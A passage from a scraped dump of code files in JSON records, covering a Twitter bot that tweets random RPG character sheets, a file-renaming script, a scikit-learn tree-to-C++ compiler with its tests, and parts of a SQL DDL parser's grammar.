\"https://pastebin.com/raw/XkqgGbyg\"\nresponse = urllib.request.urlopen(word_url)\nlong_txt = response.read().decode()\nwords = long_txt.splitlines()\n\nuppercase_words = [word for word in words if word[0].isupper()]\nname_words = [word for word in uppercase_words if not word.isupper()]\none_name = ' '.join([name_words[random.randint(0, len(name_words))] for i in range(2)])\n\n# Generate the stats kinda unfairly.\nstats = 3\nerudite = random.randint(0, 3)\n\nmod_stats = stats - erudite\nskulker = random.randint(0, mod_stats)\n\nfinal_stats = mod_stats - skulker\nbrute = final_stats\n\n# Array of Items\nall_items = [\"a Melee Weapon (specify)\", \"a Ranged Weapon (specify)\", \"a Piece of Armor (specify)\", \"a Cloak (specify color)\", \"some Rations (specify)\", \"a Torch\", \"a Net\", \"a Bear Trap\", \"a Hammer\", \"a Mirror\", \"some Rope\", \"a pair of Manacles\", \"a Flask\", \"some Marbles\", \"a Piton\", \"a pair of Scissors\", \"some Wire\", \"a Flint Steel\"]\nsubset_items = random.sample(all_items, 3)\nitems = \", & \".join([\", \".join(subset_items[:-1]), subset_items[-1]])\n# items = \"\\n- \".join([\"\\n- \".join(subset_items[:-1]), subset_items[-1]])\n\n# Array of Portraits\ngoon_portraits = [\"/home/atunnelgoon/images/goon_a.png\", \"/home/atunnelgoon/images/goon_b.png\", \"/home/atunnelgoon/images/goon_c.png\", \"/home/atunnelgoon/images/goon_d.png\", \"/home/atunnelgoon/images/goon_e.png\", \"/home/atunnelgoon/images/goon_f.png\", \"/home/atunnelgoon/images/goon_g.png\", \"/home/atunnelgoon/images/goon_h.png\", \"/home/atunnelgoon/images/goon_i.png\", \"/home/atunnelgoon/images/goon_j.png\", \"/home/atunnelgoon/images/goon_k.png\", \"/home/atunnelgoon/images/goon_l.png\", \"/home/atunnelgoon/images/goon_m.png\", \"/home/atunnelgoon/images/goon_n.png\", \"/home/atunnelgoon/images/goon_o.png\", \"/home/atunnelgoon/images/goon_p.png\"]\n\nclass ATunnelGoonBot:\n def __init__(self, names):\n self.random_name(names)\n\n # initialize Twitter authorization with Tweepy\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n self.api = tweepy.API(auth)\n\n def random_name(self, names):\n self.model = ' '.join([name_words[random.randint(0, len(name_words))] for i in range(2)])\n\n def tweet(self):\n name = self.model\n portrait_list_item = random.sample(goon_portraits, 1)\n portrait = ''.join(portrait_list_item)\n message = \"Greetings \" + name + \",\\n\\nYou have 10HP, & your Inventory Score is 8.\\nYour stats are: \" + str(brute) + \" Brute, \" + str(skulker) + \" Skulker, & \" + str(erudite) + \" Erudite.\\nYour possesions include \" + items + \".\\n\\nGodspeed.\"\n # message = name + \"\\n\\n10 Health Points\\n8 Inventory Score\\n\\nStats:\\n\" + str(brute) + \" Brute\\n\" + str(skulker) + \" Skulker\\n\" + str(erudite) + \" Erudite\\n\\nPossesions:\\n- \" + items\n try:\n self.api.update_with_media(portrait, message)\n # print(message)\n except tweepy.TweepError as error:\n print(message)\n print(error.reason)\n\n def tweeter(self):\n self.tweet()\n\nif __name__ == \"__main__\":\n goon = ATunnelGoonBot(\"names.txt\")\n goon.tweeter()", "id": "8150832", "language": "Python", "matching_score": 1, "max_stars_count": 0, "path": "app.py" }, { "content": "consumer_key = 'your_consumer_key'\nconsumer_secret = 'your_consumer_secret'\naccess_token = 'your_access_token'\naccess_token_secret = 'your_access_token_secret'", "id": "3876793", "language": "Python", "matching_score": 0.12412802129983902, "max_stars_count": 1, "path": "credentials-sample.py" } ]
1
hokage12331
[ { "content": "import glob\nimport os\n\nidentificador = 0\n\n\nlista_fotos = sorted(glob.glob( '*.json'))\n\nfor i in lista_fotos: \n nuevo_nombre = str(identificador).zfill(1) + '.json' \n identificador = identificador + 1\n os.rename(i, nuevo_nombre)\n", "id": "1976872", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "accounts/rename.py" } ]
0
parvsaxena
[ { "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nfrom distutils import sysconfig\n\nimport contextlib\nimport os\nimport subprocess\nimport tempfile\nfrom joblib import Parallel, delayed\n\nimport platform\n\nif platform.system() == 'Windows':\n CXX_COMPILER = os.environ['CXX'] if 'CXX' in os.environ else None\n delete_files = False\nelse:\n CXX_COMPILER = sysconfig.get_config_var('CXX')\n delete_files = True\n\nEVALUATE_FN_NAME = \"evaluate\"\nALWAYS_INLINE = \"__attribute__((__always_inline__))\"\n\n\nclass CodeGenerator(object):\n def __init__(self):\n self._file = tempfile.NamedTemporaryFile(mode='w+b',\n prefix='compiledtrees_',\n suffix='.cpp',\n delete=delete_files)\n self._indent = 0\n\n @property\n def file(self):\n self._file.flush()\n return self._file\n\n def write(self, line):\n self._file.write((\" \" * self._indent + line + \"\\n\").encode(\"ascii\"))\n\n @contextlib.contextmanager\n def bracketed(self, preamble, postamble):\n assert self._indent >= 0\n self.write(preamble)\n self._indent += 1\n yield\n self._indent -= 1\n self.write(postamble)\n\n\ndef code_gen_tree(tree, evaluate_fn=EVALUATE_FN_NAME, gen=None):\n \"\"\"\n Generates C code representing the evaluation of a tree.\n\n Writes code similar to:\n ```\n extern \"C\" {\n __attribute__((__always_inline__)) double evaluate(float* f) {\n if (f[9] <= 0.175931170583) {\n return 0.0;\n }\n else {\n return 1.0;\n }\n }\n }\n ```\n\n to the given CodeGenerator object.\n \"\"\"\n if gen is None:\n gen = CodeGenerator()\n\n def recur(node):\n if tree.children_left[node] == -1:\n assert tree.value[node].size == 1\n gen.write(\"return {0};\".format(tree.value[node].item()))\n return\n\n branch = \"if (f[{feature}] <= {threshold}f) {{\".format(\n feature=tree.feature[node],\n threshold=tree.threshold[node])\n with gen.bracketed(branch, \"}\"):\n recur(tree.children_left[node])\n\n with gen.bracketed(\"else {\", \"}\"):\n recur(tree.children_right[node])\n\n with gen.bracketed('extern \"C\" {', \"}\"):\n fn_decl = \"{inline} double {name}(float* f) {{\".format(\n inline=ALWAYS_INLINE,\n name=evaluate_fn)\n with gen.bracketed(fn_decl, \"}\"):\n recur(0)\n return gen.file\n\n\ndef _gen_tree(i, tree):\n \"\"\"\n Generates cpp code for i'th tree.\n Moved out of code_gen_ensemble scope for parallelization.\n \"\"\"\n name = \"{name}_{index}\".format(name=EVALUATE_FN_NAME, index=i)\n gen_tree = CodeGenerator()\n return code_gen_tree(tree, name, gen_tree)\n\n\ndef code_gen_ensemble(trees, individual_learner_weight, initial_value,\n gen=None, n_jobs=1):\n \"\"\"\n Writes code similar to:\n\n ```\n extern \"C\" {\n __attribute__((__always_inline__)) double evaluate_partial_0(float* f) {\n if (f[4] <= 0.662200987339) {\n return 1.0;\n }\n else {\n if (f[8] <= 0.804652512074) {\n return 0.0;\n }\n else {\n return 1.0;\n }\n }\n }\n }\n extern \"C\" {\n __attribute__((__always_inline__)) double evaluate_partial_1(float* f) {\n if (f[4] <= 0.694428026676) {\n return 1.0;\n }\n else {\n if (f[7] <= 0.4402526021) {\n return 1.0;\n }\n else {\n return 0.0;\n }\n }\n }\n }\n\n extern \"C\" {\n double evaluate(float* f) {\n double result = 0.0;\n result += evaluate_partial_0(f) * 0.1;\n result += evaluate_partial_1(f) * 0.1;\n return result;\n }\n }\n ```\n\n to the given CodeGenerator object.\n \"\"\"\n\n if gen is None:\n gen = CodeGenerator()\n\n tree_files = [_gen_tree(i, tree) for i, tree in enumerate(trees)]\n\n with gen.bracketed('extern \"C\" {', \"}\"):\n # add dummy definitions if you will compile in parallel\n for i, tree in enumerate(trees):\n name = \"{name}_{index}\".format(name=EVALUATE_FN_NAME, index=i)\n gen.write(\"double {name}(float* f);\".format(name=name))\n\n fn_decl = \"double {name}(float* f) {{\".format(name=EVALUATE_FN_NAME)\n with gen.bracketed(fn_decl, \"}\"):\n gen.write(\"double result = {0};\".format(initial_value))\n for i, _ in enumerate(trees):\n increment = \"result += {name}_{index}(f) * {weight};\".format(\n name=EVALUATE_FN_NAME,\n index=i,\n weight=individual_learner_weight)\n gen.write(increment)\n gen.write(\"return result;\")\n return tree_files + [gen.file]\n\n\ndef _compile(cpp_f):\n if CXX_COMPILER is None:\n raise Exception(\"CXX compiler was not found. You should set CXX \"\n \"environmental variable\")\n o_f = tempfile.NamedTemporaryFile(mode='w+b',\n prefix='compiledtrees_',\n suffix='.o',\n delete=delete_files)\n if platform.system() == 'Windows':\n o_f.close()\n _call([CXX_COMPILER, cpp_f, \"-c\", \"-fPIC\", \"-o\", o_f.name, \"-O3\", \"-pipe\"])\n return o_f\n\n\ndef _call(args):\n DEVNULL = open(os.devnull, 'w')\n subprocess.check_call(\" \".join(args),\n shell=True, stdout=DEVNULL, stderr=DEVNULL)\n\n\ndef compile_code_to_object(files, n_jobs=1):\n # if ther is a single file then create single element list\n # unicode for filename; name attribute for file-like objects\n if isinstance(files, str) or hasattr(files, 'name'):\n files = [files]\n\n # Close files on Windows to avoid permission errors\n if platform.system() == 'Windows':\n for f in files:\n f.close()\n\n o_files = (Parallel(n_jobs=n_jobs, backend='threading')\n (delayed(_compile)(f.name) for f in files))\n\n so_f = tempfile.NamedTemporaryFile(mode='w+b',\n prefix='compiledtrees_',\n suffix='.so',\n delete=delete_files)\n # Close files on Windows to avoid permission errors\n if platform.system() == 'Windows':\n so_f.close()\n\n # link trees\n if platform.system() == 'Windows':\n # a hack to overcome large RFs on windows and CMD 9182 chaacters limit\n list_ofiles = tempfile.NamedTemporaryFile(mode='w+b',\n prefix='list_ofiles_',\n delete=delete_files)\n for f in o_files:\n list_ofiles.write((f.name.replace('\\\\', '\\\\\\\\') +\n \"\\r\").encode('latin1'))\n list_ofiles.close()\n _call([CXX_COMPILER, \"-shared\", \"@%s\" % list_ofiles.name, \"-fPIC\",\n \"-flto\", \"-o\", so_f.name, \"-O3\", \"-pipe\"])\n\n # cleanup files\n for f in o_files:\n os.unlink(f.name)\n for f in files:\n os.unlink(f.name)\n os.unlink(list_ofiles.name)\n else:\n _call([CXX_COMPILER, \"-shared\"] +\n [f.name for f in o_files] +\n [\"-fPIC\", \"-flto\", \"-o\", so_f.name, \"-O3\", \"-pipe\"])\n\n return so_f\n", "id": "5491167", "language": "Python", "matching_score": 1.7556179761886597, "max_stars_count": 0, "path": "compiledtrees/code_gen.py" }, { "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom sklearn import ensemble, tree\nfrom compiledtrees.compiled import CompiledRegressionPredictor\nfrom sklearn.utils.testing import \\\n assert_array_almost_equal, assert_raises, assert_equal, assert_allclose, \\\n assert_array_equal\nimport numpy as np\nimport unittest\nimport tempfile\nimport pickle\nfrom six.moves import cPickle, zip\n\nREGRESSORS = {\n ensemble.GradientBoostingRegressor,\n ensemble.RandomForestRegressor,\n tree.DecisionTreeRegressor,\n}\n\nCLASSIFIERS = {\n ensemble.GradientBoostingClassifier,\n ensemble.RandomForestClassifier,\n tree.DecisionTreeClassifier,\n}\n\n\ndef pairwise(iterable):\n import itertools\n \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n a, b = itertools.tee(iterable)\n next(b, None)\n return zip(a, b)\n\n\ndef assert_equal_predictions(cls, X, y):\n clf = cls()\n clf.fit(X, y)\n compiled = CompiledRegressionPredictor(clf)\n\n with tempfile.NamedTemporaryFile(delete=False) as tf:\n pickle.dump(compiled, tf)\n depickled = pickle.load(open(tf.name, 'rb'))\n\n with tempfile.NamedTemporaryFile(delete=False) as tf:\n pickle.dump(depickled, tf)\n dedepickled = pickle.load(open(tf.name, 'rb'))\n\n with tempfile.NamedTemporaryFile(delete=False) as tf:\n cPickle.dump(compiled, tf)\n decpickled = cPickle.load(open(tf.name, 'rb'))\n\n predictors = [clf, compiled, depickled, decpickled, dedepickled]\n predictions = [p.predict(X) for p in predictors]\n for (p1, p2) in pairwise(predictions):\n assert_array_almost_equal(p1, p2, decimal=10)\n\n\nclass TestCompiledTrees(unittest.TestCase):\n def test_rejects_unfitted_regressors_as_compilable(self):\n for cls in REGRESSORS:\n assert_equal(CompiledRegressionPredictor.compilable(cls()), False)\n assert_raises(ValueError, CompiledRegressionPredictor, cls())\n\n def test_rejects_classifiers_as_compilable(self):\n for cls in CLASSIFIERS:\n assert_equal(CompiledRegressionPredictor.compilable(cls()), False)\n assert_raises(ValueError, CompiledRegressionPredictor, cls())\n\n def test_correct_predictions(self):\n num_features = 20\n num_examples = 1000\n X = np.random.normal(size=(num_examples, num_features))\n X = X.astype(np.float32)\n y = np.random.normal(size=num_examples)\n for cls in REGRESSORS:\n assert_equal_predictions(cls, X, y)\n y = np.random.choice([-1, 1], size=num_examples)\n for cls in REGRESSORS:\n assert_equal_predictions(cls, X, y)\n\n def test_few_compiled(self):\n num_features = 20\n num_examples = 1000\n\n X1 = np.random.normal(size=(num_examples, num_features))\n X1 = X1.astype(np.float32)\n y1 = np.random.normal(size=num_examples)\n\n X2 = np.random.normal(size=(num_examples, num_features))\n X2 = X2.astype(np.float32)\n y2 = np.random.normal(size=num_examples)\n\n rf1 = ensemble.RandomForestRegressor()\n rf1.fit(X1,y1)\n\n rf2 = ensemble.RandomForestRegressor()\n rf2.fit(X2,y2)\n\n rf1_compiled = CompiledRegressionPredictor(rf1)\n rf2_compiled = CompiledRegressionPredictor(rf2)\n\n assert_array_almost_equal(rf1.predict(X1), rf1_compiled.predict(X1), decimal=10)\n assert_array_almost_equal(rf2.predict(X2), rf2_compiled.predict(X2), decimal=10)\n\n def test_many_trees(self):\n num_features = 20\n num_examples = 1000\n\n X1 = np.random.normal(size=(num_examples, num_features))\n X1 = X1.astype(np.float32)\n y1 = np.random.normal(size=num_examples)\n\n rf1 = ensemble.RandomForestRegressor(n_estimators=500, max_depth=2)\n rf1.fit(X1,y1)\n\n rf1_compiled = CompiledRegressionPredictor(rf1)\n assert_array_almost_equal(rf1.predict(X1), rf1_compiled.predict(X1), decimal=10)\n\n def test_predictions_with_invalid_input(self):\n num_features = 100\n num_examples = 100\n X = np.random.normal(size=(num_examples, num_features))\n X = X.astype(np.float32)\n y = np.random.choice([-1, 1], size=num_examples)\n\n for cls in REGRESSORS:\n clf = cls()\n clf.fit(X, y)\n compiled = CompiledRegressionPredictor(clf)\n assert_raises(ValueError, compiled.predict,\n np.resize(X, (1, num_features, num_features)))\n assert_allclose(compiled.score(X, y), clf.score(X, y))\n\n def test_float32_and_float_64_predictions_are_equal(self):\n num_features = 100\n num_examples = 100\n\n X = np.random.normal(size=(num_features, num_examples))\n X_32 = X.astype(np.float32)\n X_64 = X.astype(np.float64)\n y = np.random.normal(size=num_examples)\n\n # fit on X_32\n rf = ensemble.RandomForestRegressor()\n rf.fit(X_32, y)\n rf = CompiledRegressionPredictor(rf)\n\n assert_array_equal(rf.predict(X_32), rf.predict(X_64))\n\n # fit on X_64\n rf = ensemble.RandomForestRegressor()\n rf.fit(X_64, y)\n rf = CompiledRegressionPredictor(rf)\n\n assert_array_equal(rf.predict(X_32), rf.predict(X_64))\n\n def test_predictions_with_non_contiguous_input(self):\n num_features = 100\n num_examples = 100\n\n X_non_contiguous = np.random.normal(size=(num_features, num_examples)).T\n X_non_contiguous = X_non_contiguous.astype(np.float32)\n self.assertFalse(X_non_contiguous.flags['C_CONTIGUOUS'])\n\n y = np.random.normal(size=num_examples)\n\n rf = ensemble.RandomForestRegressor()\n rf.fit(X_non_contiguous, y)\n rf_compiled = CompiledRegressionPredictor(rf)\n\n try:\n rf_compiled.predict(X_non_contiguous)\n except ValueError as e:\n self.fail(\"predict(X) raised ValueError\")\n\n X_contiguous = np.ascontiguousarray(X_non_contiguous)\n self.assertTrue(X_contiguous.flags['C_CONTIGUOUS'])\n assert_array_equal(rf_compiled.predict(X_non_contiguous), rf_compiled.predict(X_contiguous))\n", "id": "5023760", "language": "Python", "matching_score": 3.166311025619507, "max_stars_count": 0, "path": "compiledtrees/tests/test_compiled.py" }, { "content": "from compiledtrees.compiled import CompiledRegressionPredictor\n\n__all__ = [\"CompiledRegressionPredictor\"]\n", "id": "545896", "language": "Python", "matching_score": 2.4166996479034424, "max_stars_count": 0, "path": "compiledtrees/__init__.py" } ]
2.4167
burakuyar
[ { "content": "from typing import List\n\n\ndef remove_par(p_list: List[str]) -> List[str]:\n remove_list = [\"(\", \")\"]\n for symbol in remove_list:\n while symbol in p_list:\n p_list.remove(symbol)\n return p_list\n\n\nspec_mapper = {\n \"'pars_m_t'\": \"'\\t'\",\n \"'pars_m_n'\": \"'\\n'\",\n \"'pars_m_dq'\": '\"',\n \"pars_m_single\": \"'\",\n}\n\n\ndef check_spec(value: str) -> str:\n replace_value = spec_mapper.get(value)\n if not replace_value:\n for item in spec_mapper:\n if item in value:\n replace_value = value.replace(item, spec_mapper[item])\n break\n else:\n replace_value = value\n return replace_value\n\n\ndef find_first_unpair_closed_par(str_: str) -> int:\n stack = []\n n = -1\n for i in str_:\n n += 1\n if i == \")\":\n if not stack:\n return n\n else:\n stack.pop(-1)\n elif i == \"(\":\n stack.append(i)\n", "id": "12700672", "language": "Python", "matching_score": 1.3463289737701416, "max_stars_count": 46, "path": "simple_ddl_parser/utils.py" }, { "content": "from simple_ddl_parser.utils import remove_par\n\n\nclass Oracle:\n def p_encrypt(self, p):\n \"\"\"encrypt : ENCRYPT\n | encrypt NO SALT\n | encrypt SALT\n | encrypt USING STRING\n | encrypt STRING\n \"\"\"\n p_list = list(p)\n if isinstance(p[1], dict):\n p[0] = p[1]\n if \"NO\" in p_list:\n p[0][\"encrypt\"][\"salt\"] = False\n elif \"USING\" in p_list:\n p[0][\"encrypt\"][\"encryption_algorithm\"] = p_list[-1]\n elif \"SALT\" not in p_list:\n p[0][\"encrypt\"][\"integrity_algorithm\"] = p_list[-1]\n\n else:\n p[0] = {\n \"encrypt\": {\n \"salt\": True,\n \"encryption_algorithm\": \"'AES192'\",\n \"integrity_algorithm\": \"SHA-1\",\n }\n }\n\n def p_storage(self, p):\n \"\"\"storage : STORAGE LP\n | storage id id\n | storage id id RP\n \"\"\"\n # Initial 5m Next 5m Maxextents Unlimited\n p_list = remove_par(list(p))\n param = {}\n if len(p_list) == 4:\n param = {p_list[2].lower(): p_list[3]}\n if isinstance(p_list[1], dict):\n p[0] = p[1]\n else:\n p[0] = {}\n p[0].update(param)\n\n def p_expr_storage(self, p):\n \"\"\"expr : expr storage\"\"\"\n p_list = list(p)\n p[0] = p[1]\n p[0][\"storage\"] = p_list[-1]\n", "id": "12576030", "language": "Python", "matching_score": 1.5594784021377563, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/oracle.py" }, { "content": "from simple_ddl_parser.utils import remove_par\n\n\nclass Snowflake:\n def p_clone(self, p):\n \"\"\"clone : CLONE id\"\"\"\n p_list = list(p)\n p[0] = {\"clone\": {\"from\": p_list[-1]}}\n\n def p_table_properties(self, p):\n \"\"\"table_properties : id id id\"\"\"\n p_list = list(p)\n p[0] = {p_list[-3]: p_list[-1]}\n\n def p_expression_cluster_by(self, p):\n \"\"\"expr : expr CLUSTER BY LP pid RP\n | expr CLUSTER BY pid\n \"\"\"\n p[0] = p[1]\n p_list = remove_par(list(p))\n p[0][\"cluster_by\"] = p_list[-1]\n", "id": "9208464", "language": "Python", "matching_score": 1.4768850803375244, "max_stars_count": 46, "path": "simple_ddl_parser/dialects/snowflake.py" }, { "content": "import re\nfrom copy import deepcopy\nfrom typing import Any, Dict, List, Tuple, Union\n\nfrom simple_ddl_parser.utils import check_spec, remove_par\n\nauth = \"AUTHORIZATION\"\n\n\nclass AfterColumns:\n def p_expression_partition_by(self, p: List) -> None:\n \"\"\"expr : expr PARTITION BY LP pid RP\n | expr PARTITION BY id LP pid RP\n | expr PARTITION BY pid\n | expr PARTITION BY id pid\"\"\"\n p[0] = p[1]\n p_list = list(p)\n _type = None\n if isinstance(p[4], list):\n columns = p[4]\n else:\n columns = p_list[-2]\n if isinstance(p[4], str) and p[4].lower() != \"(\":\n _type = p[4]\n p[0][\"partition_by\"] = {\"columns\": columns, \"type\": _type}\n\n\nclass Database:\n def p_expression_create_database(self, p: List) -> None:\n \"\"\"expr : expr database_base\"\"\"\n p[0] = p[1]\n p_list = list(p)\n p[0].update(p_list[-1])\n\n def p_database_base(self, p: List) -> None:\n \"\"\"database_base : CREATE DATABASE id\n | CREATE ID DATABASE id\n | database_base clone\n \"\"\"\n if isinstance(p[1], dict):\n p[0] = p[1]\n else:\n p[0] = {}\n p_list = list(p)\n if isinstance(p_list[-1], dict):\n p[0].update(p_list[-1])\n else:\n p[0][\"database_name\"] = p_list[-1]\n if len(p_list) == 5:\n p[0][p[2].lower()] = True\n\n\nclass TableSpaces:\n @staticmethod\n def get_tablespace_data(p_list):\n if p_list[1] == \"TABLESPACE\":\n _type = None\n temp = False\n else:\n if p_list[1].upper() == \"TEMPORARY\":\n _type = None\n temp = True\n else:\n _type = p_list[1]\n if p_list[2].upper() == \"TEMPORARY\":\n temp = True\n else:\n temp = False\n if isinstance(p_list[-1], dict):\n properties = p_list[-1]\n tablespace_name = p_list[-2]\n else:\n properties = None\n tablespace_name = p_list[-1]\n result = {\n \"tablespace_name\": tablespace_name,\n \"properties\": properties,\n \"type\": _type,\n \"temporary\": temp,\n }\n return result\n\n def p_expression_create_tablespace(self, p: List) -> None:\n \"\"\"expr : CREATE TABLESPACE id properties\n | CREATE id TABLESPACE id properties\n | CREATE id TABLESPACE id\n | CREATE TABLESPACE id\n | CREATE id id TABLESPACE id\n | CREATE id id TABLESPACE id properties\n \"\"\"\n p_list = list(p)\n p[0] = self.get_tablespace_data(p_list[1:])\n\n def p_properties(self, p: List) -> None:\n \"\"\"properties : property\n | properties property\"\"\"\n p_list = list(p)\n if len(p_list) == 3:\n p[0] = p[1]\n p[0].update(p[2])\n else:\n p[0] = p[1]\n\n def p_property(self, p: List) -> None:\n \"\"\"property : id id\n | id STRING\n | id ON\n | id STORAGE\n | id ROW\n \"\"\"\n p[0] = {p[1]: p[2]}\n\n\nclass Table:\n @staticmethod\n def add_if_not_exists(data: Dict, p_list: List):\n if \"EXISTS\" in p_list:\n data[\"if_not_exists\"] = True\n return data\n\n def p_create_table(self, p: List):\n \"\"\"create_table : CREATE TABLE IF NOT EXISTS\n | CREATE TABLE\n | CREATE id TABLE IF NOT EXISTS\n | CREATE id TABLE\n\n \"\"\"\n # id - for EXTERNAL\n # get schema & table name\n p[0] = {}\n p_list = list(p)\n self.add_if_not_exists(p[0], p_list)\n\n if p[2].upper() == \"EXTERNAL\":\n p[0][\"external\"] = True\n if p[2].upper() == \"TEMP\" or p[2].upper() == \"TEMPORARY\":\n p[0][\"temp\"] = True\n\n\nclass Column:\n def p_column_property(self, p: List):\n \"\"\"c_property : id id\"\"\"\n p_list = list(p)\n p[0] = {\"property\": {p_list[1]: p_list[-1]}}\n\n def set_base_column_propery(self, p: List) -> Dict:\n\n if \".\" in list(p):\n type_str = f\"{p[2]}.{p[4]}\"\n else:\n type_str = p[2]\n if isinstance(p[1], dict):\n p[0] = p[1]\n else:\n size = None\n p[0] = {\"name\": p[1], \"type\": type_str, \"size\": size}\n return p[0]\n\n @staticmethod\n def parse_complex_type(p_list: List[str]) -> str:\n # for complex <> types\n start_index = 1\n _type = \"\"\n if isinstance(p_list[1], dict):\n _type = p_list[1][\"type\"]\n start_index = 2\n for elem in p_list[start_index:]:\n if isinstance(elem, list):\n for _elem in elem:\n _type += f\" {_elem.rstrip()}\"\n elif \"ARRAY\" in elem and elem != \"ARRAY\":\n _type += elem\n else:\n _type += f\" {elem}\"\n return _type\n\n def p_c_type(self, p: List) -> None:\n \"\"\"c_type : id\n | id id\n | id id id id\n | id id id\n | id DOT id\n | tid\n | ARRAY\n | c_type ARRAY\n | c_type tid\n \"\"\"\n p[0] = {}\n p_list = remove_par(list(p))\n _type = None\n\n if len(p_list) == 2:\n _type = p_list[-1]\n elif isinstance(p[1], str) and p[1].lower() == \"encode\":\n p[0] = {\"property\": {\"encode\": p[2]}}\n else:\n _type = self.parse_complex_type(p_list)\n if _type:\n _type = self.process_type(_type, p_list, p)\n p[0][\"type\"] = _type\n\n def process_type(self, _type: Union[str, List], p_list: List, p: List) -> str:\n\n if isinstance(_type, list):\n _type = _type[0]\n\n elif isinstance(p_list[-1], str) and p_list[-1].lower() == \"distkey\":\n p[0] = {\"property\": {\"distkey\": True}}\n _type = _type.split(\"distkey\")[0]\n\n _type = _type.strip().replace('\" . \"', '\".\"')\n\n _type = self.process_array_types(_type, p_list)\n return _type\n\n @staticmethod\n def process_array_types(_type: str, p_list: List) -> str:\n if \"<\" not in _type and \"ARRAY\" in _type:\n if \"[\" not in p_list[-1]:\n _type = _type.replace(\" ARRAY\", \"[]\").replace(\"ARRAY\", \"[]\")\n else:\n _type = _type.replace(\"ARRAY\", \"\")\n elif \"<\" in _type and \"[]\" in _type:\n _type = _type.replace(\"[]\", \"ARRAY\")\n return _type\n\n @staticmethod\n def get_size(p_list: List):\n if p_list[-1].isnumeric():\n size = int(p_list[-1])\n else:\n size = p_list[-1]\n if len(p_list) != 3:\n size = (int(p_list[-3]), int(p_list[-1]))\n return size\n\n @staticmethod\n def get_column_details(p_list: List, p: List):\n if p_list[-1].get(\"type\"):\n p[0][\"type\"] += f\"{p_list[-1]['type'].strip()}\"\n elif p_list[-1].get(\"comment\"):\n p[0].update(p_list[-1])\n elif p_list[-1].get(\"property\"):\n for key, value in p_list[-1][\"property\"].items():\n p[0][key] = value\n p_list.pop(-1)\n\n def p_column(self, p: List) -> None:\n \"\"\"column : id c_type\n | column comment\n | column LP id RP\n | column LP id RP c_type\n | column LP id COMMA id RP\n | column LP id COMMA id RP c_type\n \"\"\"\n p[0] = self.set_base_column_propery(p)\n p_list = remove_par(list(p))\n\n if isinstance(p_list[-1], dict) and \"type\" in p_list[-1] and len(p_list) <= 3:\n p[0][\"type\"] = p_list[-1][\"type\"]\n if p_list[-1].get(\"property\"):\n for key, value in p_list[-1][\"property\"].items():\n p[0][key] = value\n elif isinstance(p_list[-1], dict):\n self.get_column_details(p_list, p)\n self.set_column_size(p_list, p)\n\n def set_column_size(self, p_list: List, p: List):\n if (\n not isinstance(p_list[-1], dict)\n and bool(re.match(r\"[0-9]+\", p_list[-1]))\n or p_list[-1] == \"max\"\n ):\n p[0][\"size\"] = self.get_size(p_list)\n\n @staticmethod\n def set_property(p: List) -> List:\n for item in p[1:]:\n if isinstance(item, dict):\n if \"property\" in item:\n for key, value in item[\"property\"].items():\n p[0][key] = value\n del item[\"property\"]\n p[0].update(item)\n return p\n\n @staticmethod\n def get_column_properties(p_list: List) -> Tuple:\n pk = False\n nullable = True\n default = None\n unique = False\n references = None\n if isinstance(p_list[-1], str):\n if p_list[-1].upper() == \"KEY\":\n pk = True\n nullable = False\n elif p_list[-1].upper() == \"UNIQUE\":\n unique = True\n elif isinstance(p_list[-1], dict) and \"references\" in p_list[-1]:\n p_list[-1][\"references\"][\"column\"] = p_list[-1][\"references\"][\"columns\"][0]\n del p_list[-1][\"references\"][\"columns\"]\n references = p_list[-1][\"references\"]\n return pk, default, unique, references, nullable\n\n def p_defcolumn(self, p: List) -> None:\n \"\"\"defcolumn : column\n | defcolumn comment\n | defcolumn null\n | defcolumn encode\n | defcolumn PRIMARY KEY\n | defcolumn UNIQUE\n | defcolumn check_ex\n | defcolumn default\n | defcolumn collate\n | defcolumn enforced\n | defcolumn ref\n | defcolumn foreign ref\n | defcolumn encrypt\n | defcolumn generated\n | defcolumn c_property\n | defcolumn on_update\n | defcolumn options\n \"\"\"\n p[0] = p[1]\n p_list = list(p)\n\n pk, default, unique, references, nullable = self.get_column_properties(p_list)\n\n self.set_property(p)\n\n p[0][\"references\"] = p[0].get(\"references\", references)\n p[0][\"unique\"] = unique or p[0].get(\"unique\", unique)\n p[0][\"primary_key\"] = pk or p[0].get(\"primary_key\", pk)\n p[0][\"nullable\"] = (\n nullable if nullable is not True else p[0].get(\"nullable\", nullable)\n )\n p[0][\"default\"] = p[0].get(\"default\", default)\n p[0][\"check\"] = p[0].get(\"check\", None)\n if isinstance(p_list[-1], dict) and p_list[-1].get(\"encode\"):\n p[0][\"encode\"] = p[0].get(\"encode\", p_list[-1][\"encode\"])\n if p[0][\"check\"]:\n p[0][\"check\"] = \" \".join(p[0][\"check\"])\n\n def p_check_ex(self, p: List) -> None:\n \"\"\"check_ex : check_st\n | constraint check_st\n \"\"\"\n name = None\n if isinstance(p[1], dict):\n if \"constraint\" in p[1]:\n p[0] = {\n \"check\": {\n \"constraint_name\": p[1][\"constraint\"][\"name\"],\n \"statement\": \" \".join(p[2][\"check\"]),\n }\n }\n elif \"check\" in p[1]:\n p[0] = p[1]\n if isinstance(p[1], list):\n p[0] = {\n \"check\": {\"constraint_name\": name, \"statement\": p[1][\"check\"]}\n }\n if len(p) >= 3:\n for item in list(p)[2:]:\n p[0][\"check\"][\"statement\"].append(item)\n else:\n p[0] = {\"check\": {\"statement\": [p[2]], \"constraint_name\": name}}\n\n\nclass Schema:\n def p_expression_schema(self, p: List) -> None:\n \"\"\"expr : create_schema\n | create_database\n | expr id\n | expr clone\n \"\"\"\n p[0] = p[1]\n p_list = list(p)\n\n if isinstance(p_list[-1], dict):\n p[0].update(p_list[-1])\n elif len(p) > 2:\n p[0][\"authorization\"] = p[2]\n\n def set_properties_for_schema_and_database(self, p: List, p_list: List) -> None:\n if not p[0].get(\"properties\"):\n if len(p_list) == 3:\n properties = p_list[-1]\n elif len(p_list) > 3:\n properties = {p_list[-3]: p_list[-1]}\n else:\n properties = {}\n if properties:\n p[0][\"properties\"] = properties\n else:\n p[0][\"properties\"].update({p_list[-3]: p_list[-1]})\n\n def set_auth_property_in_schema(self, p: List, p_list: List) -> None:\n if p_list[2] == auth:\n p[0] = 